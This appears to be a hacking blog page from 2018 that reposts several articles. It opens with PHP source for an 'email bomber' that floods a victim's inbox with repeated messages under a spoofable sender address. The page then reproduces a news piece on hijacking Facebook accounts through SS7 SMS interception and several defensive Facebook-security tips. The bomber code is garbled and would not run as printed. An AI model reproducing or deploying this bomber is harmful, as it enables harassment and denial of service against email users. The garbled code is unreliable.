Thursday, April 19, 2018

Simple Web Email Bomber. [PHP Source Code]

This Code was written due to lots of request from members in worldofhacker

This is Only for Testing Purpose, if you try to harm person with this S*** of code than I(Module Online) or World of Hacker will not be Responsible for your Crime. Keep Calm, Stay Safe

Note: Your Host will ban you account for doing so.

PHP Code:
<!DOCTYPE html>
html lang=en>
title>My Email Bomber</title>
header align=center>
h1My Email Bomber </h1>
form method="post" action="#">
table border="0">
tr><td>Your EMail : </td><td><input type=email name=email placeholder="Your Mail id If you want to show victime" /></td></tr>
tr><td>Email id of Person: </td><td><input type=email name=mail placeholder="Enter Slave Email" /></td></tr>
tr><td valign=top>Message to Slave : </td><td><textarea name=msg rows=8 cols=30 ></textarea></td></tr>
tr><td>Noof Time You want to Bombard his Email</td><td><input type=text name=no placeholder=100 /></td></tr>
tr><td><input type=reset value=Reset All /></td><td><input type=submit name=sub value="Start Bombarding Mail" /></td></tr>
footer align=center>
p>Thank you to <a href="" target="_blank">World of Hacker</aCopyright &copy; <a href="">KroKite</a></p>

phpif(isset($_POST['sub']) || !empty($_POST['mail']) || !empty($_POST['no'])) {
$Slave $_POST['mail'];
$no $_POST['no'];
$msg $_POST['msg'];
$hack "";
$headers 'From:'.(!empty($_POST['email'])) ? $_POST['email']:$hack "\r\n" .
'Reply-To:'.(!empty($_POST['email'])) ? $_POST['email']:$hack "\r\n" .
'X-Mailer: PHP/' phpversion();
$i=1;$i<=$no;$i++) {
$mail mail($Slave"You are Under Attack"$msg$headers);
$mail) {
"{$i}. Mail Sent
    } else {
"{$i}. Mail was not Sent
} else {
"Please fill all the form Properly";

Good Luck.

Source : Copyed on April 19, 2018 at Posted by Krokite
               As an advanced reference material, please be able to visit the official website. Thank you

5 Signs of a Hacked Social Media Account

1. Posts that you didn’t write appear suddenly on your wall !

Sounds obvious – right? But can you always tell? For instance, if several bloggers contribute posts to the same account, will you know who was supposed to post which article and when? And if you use a service like NetworkedBlogs to automatically publish links from your blog to your Twitter and Facebook accounts, do you really carefully check every tweet and post?


If you notice unexpected posts on your social media accounts, delete them immediately and change your password.

2. Somebody logged into your account from an unusual location

Most social media services these days enable you to check the location of the last logins – even if they tend to be approximate. So if you are in Germany and you see that someone logged in on a different continent, chances are your account was hacked.


Regularly check the locations where you supposedly logged in. If you notice an open session in an unexpected location, terminate it. A step-by-step guide on how to do that in Facebook can be found here.

3. Spammy ads flood your Facebook page

Ever heard of likejacking? It is a derivative of “clickjacking”, but specific to Facebook. It works as follows: you are lured onto a page with an attractive post, such as the “10 funniest television bloopers” or “watch this baby panda sneeze”. The page is composed of two layers – a front layer, which is a cute sneezing panda, and a back layer, with a Facebook “Like” button, which follows your cursor wherever you click. As soon as you do so, you’re Facebook page will get flooded with ads…


On Facebook you have the ability to check which apps you have liked and can disable them. If you don’t know the apps that you find there, remove them from your profile – a hacker may have liked them to get money for every purchase made form those ads. Make sure that their posts are also gone.

4. You are unable to login to your account

Assuming that you didn’t simply forget your password, it might be that someone accessed your account and changed your password. Please note that if this is indeed the case, most probably the cyber criminals have also replaced the email address used to recover the password.

Contact the owner of the platform (e.g.: Facebook, Twitter) – it’s the best way to claim your account back.

5. You’re suddenly following a lot of new, unknown people

Are you now following lots of new and unknown people? For example, malware may hijack your account and make you follow spambots on Twitter or Facebook. This then further spreads malicious URLs to more people. The same applies for a host of private messages/tweets sent from your account – unbeknown to you.


Change your password immediately. Optionally, we recommend you delete the posts and let everyone know that they should not click on the links posted from your account during the period of time when you were hacked.

Source : Copyed on April 19, 2018 at Posted by Avira
               As an advanced reference material, please be able to visit the official website. Thank you

How to Hack Facebook Account Just by Knowing Phone Number

Update: If you think this technique is old and can not be used to hack your social media, bank or any online accounts, then you are mistaken. A real-world SS7 attack has been spotted this month when some unknown hackers exploited the design flaws in the Signaling System 7 (SS7) to drain victims' bank accounts.

Hacking Facebook account is one of the major queries on the Internet today. It's hard to find — how to hack Facebook account, but researchers have just proven by taking control of a Facebook account with only the target's phone number and some hacking skills.

Yes, your Facebook account can be hacked, no matter how strong your password is or how much extra security measures you have taken. No joke!

Hackers with skills to exploit the SS7 network can hack your Facebook account. All they need is your phone number.

The weaknesses in the part of global telecom network SS7 not only let hackers and spy agencies listen to personal phone calls and intercept SMSes on a potentially massive scale but also let them hijack social media accounts to which you have provided your phone number.

SS7 or Signalling System Number 7 is a telephony signaling protocol that is being used by more than 800 telecommunication operators worldwide to exchange information with one another, cross-carrier billing, enabling roaming, and other features.

However, an issue with the SS7 network is that it trusts text messages sent over it regardless of their origin. So, malicious hackers could trick SS7 into diverting text messages as well as calls to their own devices.

All they need is the target’s phone number and some details of the target’s device to initiate the silent snooping.

The researchers from Positive Technologies, who recently showed how they could hijack WhatsApp and Telegram accounts, now gave the demonstration of the Facebook hack using similar tricks, Forbes reported.

SS7 has long been known to be vulnerable, despite the most advanced encryption used by cellular networks. The designing flaws in SS7 have been in circulation since 2014 when the team of researchers at German Security Research Labs alerted the world to it.

Here's How to Hack Any Facebook Account:

The attacker first needs to click on the "Forgot account?" link on the homepage. Now, when asked for a phone number or email address linked to the target account, the hacker needs to provide the legitimate phone number.

The attacker then diverts the SMS containing a one-time passcode (OTP) to their own computer or phone, and can login to the target’s Facebook account.

The issue affects all Facebook users who have registered a phone number with Facebook and have authorized Facebook Texts.

Besides Facebook, researchers' work shows that any service, including Gmail and Twitter, that uses SMS to verify its user accounts has left open doors for hackers to target its customers.

Although the network operators are unable to patch the hole sometime soon, there is little the smartphone users can do.
  • Do not link your phone number to social media sites, rather rely solely on emails to recover your Facebook or other social media accounts.
  • Use two-factor authentication that does not use SMS texts for receiving codes.
  • Use communication apps that offer "end-to-end encryption" to encrypt your data before it leaves your smartphone over your phone's standard calling feature.
Update: However, the important thing to note is that the issue has actually nothing to do with Facebook security or other website's security, instead it is the weakness in the telecom network.
"Because this technique [SSL exploitation] requires significant technical and financial investment, it is a very low risk for most people," Facebook spokesperson told The Hacker News. 

"As an added precaution, we recommend turning on two-factor authentication, called Login Approvals, in your Facebook security settings. Doing this will disable recovery via SMS on your account so even if someone has your phone number, they'll still need your password to access your account."

Source : Copyed on April 19, 2018 at Posted by Swati Khandelwal
               As an advanced reference material, please be able to visit the official website. Thank you
Wednesday, April 18, 2018

5 Ways To Prevent Your Facebook Account From Getting Hacked

Related image

You’ve probably already heard that Facebook accounts are hacked to gain personal information, but you might not be aware of how easy that just might be for hackers. With hackers increasingly targeting Facebook as a primary source of collecting user information, and corporations using your information to make decisions about your rates, you really should have a plan for protecting yourself.

Here are some tips to prevent getting hacked:

  1. Use strong passwords. The names of yourself, your spouse, parents, siblings or dog, or your birthday, do not qualify. Use a mix of letters, digits and punctuation (but not blank spaces). Use both capital and lowercase letters. The longer your password, the better. The shorter your password, the easier it is to hack, especially if it’s a common word or name. A good starting point is six characters, though 8, 10 or 12 are even better. If you have trouble remembering, do something about that, else consider using an unusual phrase or combo of words that only you or a few people might know, then substitute some of the letters with digits and/or punctuation. Humorous combinations might make it easier to remember, but otherwise write your password down in a SAFE place. Or just keep using the “Forgot password?” option to reset your password.
  2. Change your password regularly. By regularly I mean monthly or even weekly, not yearly. Facebook’s “Forgot password?” option is one way, or you can go to your account’s settings.
  3. Don’t friend everyone. That “hot chick” whom you don’t know and looks like some Hollywood starlet might be a guy. Avoid the person who doesn’t even have a profile pic, let alone any friends in common with you. If you haven’t met them, be cautious. Also, don’t friend friends whom you know to use weak passwords. If their account is compromised, hackers can still learn certain things about you from your profile, or could send you a message via the friend’s account to lure you to a malware site.
  4. Don’t click on links willy-nilly. If you click on a status update that a “friend” posted on your wall and it looks fishy, don’t assume they actually did it. Their account could be compromised. If your clicking takes you to a Facebook application that you’re unsure of, there’s no obligation to click through.
  5. Don’t believe all emails. Don’t forget that honest web services will never ask you to do certain things in an email. For example, Facebook will NEVER send you an email asking you to change your password or enter personal details. If they need you to do that, they will tell you where in your account settings you can go to do that. On a similar note, protect your email account that you registered for Facebook with, else someone can succeed in resetting your Facebook password.

Have any tips on how to protect a Facebook account? Feel free to share in the comments.

Source : Copyed on April 19, 2018 at Posted by Raj Dash
               As an advanced reference material, please be able to visit the official website. Thank you

Protect Your Facebook Account From Hackers

Recently a friend-of-a-friend’s Facebook account was hacked.  She realized that spam e-mails were sent from her account.  Then a few days later I heard that another acquaintance experienced the same problem.

Here are some steps you can take if you believe your account has been compromised, along with some steps to prevent this from happening.  Please share this with your Facebooking teens.  A 2011 survey showed that 30% of teen’s accounts had been hacked – by a friend!  So help them check their privacy and security settings on a regular basis.


Go to and follow the instructions on-screen. You’ll go through three steps:

  1. Verify your account and change password.  You’ll be asked to identify your account, change your password, and change the password associated with the e-mail account that you use for Facebook.
  2. Review and fix anything the cybercriminal changed.
  3. Unlock account.


Security settings are the key.  So stop what you’re doing and print out this article.  Then log into Facebook and update these settings.

From Account settings, click on Security.  I recommend the following settings for the highest level of security.

1. Secure Browsing – enabled.

2. Login Notifications – enabled.

3. Login Approvals – enabled.  This feature requires that you have a cell phone capable of receiving text messages.  When enabled, you will receive a code via text message if your account is accessed from an unrecognized location.

This is important for teens.  They may use computers at a friend’s house, the library, or other public locations.  As an example, if you are logging in to Facebook from a computer in the library, you’ll be asked to enter in a code.  You’ll receive the text message, know that it’s YOU using Facebook, and enter the code.  If you receive the text message and you WERE NOT trying to log into Facebook, you’ll know there is a problem.  And the hacker trying to get into your account will not have the code.

Dialog box shown after Login Approvals are set up

4. App Passwords – If you don’t have many apps associated with your Facebook account, you can probably leave this off.  If you do enable login approvals as described above, and you do use apps such as Skype through Facebook, then you may want to set app passwords.  You can read about this feature on Facebook Help and Inside Facebook.

5. Recognized Devices – if there is anything listed here that doesn’t look familiar, or the date is not recent, remove it.

6. Active Sessions – remove all except Current session.

Your Security Settings page should now look something like this:

Summary of Facebook security settings

As a last step, go to General Account settings and change your Facebook password.  And finally, log out of Facebook when not in use.

Now with your Facebook account safe and secure, you can get back to important Facebook activities, such as post-election re-friending, without too much of a fear of hackers accessing your account.

Source : Copyed on April 19, 2018 at Posted by Jean
               As an advanced reference material, please be able to visit the official website. Thank you

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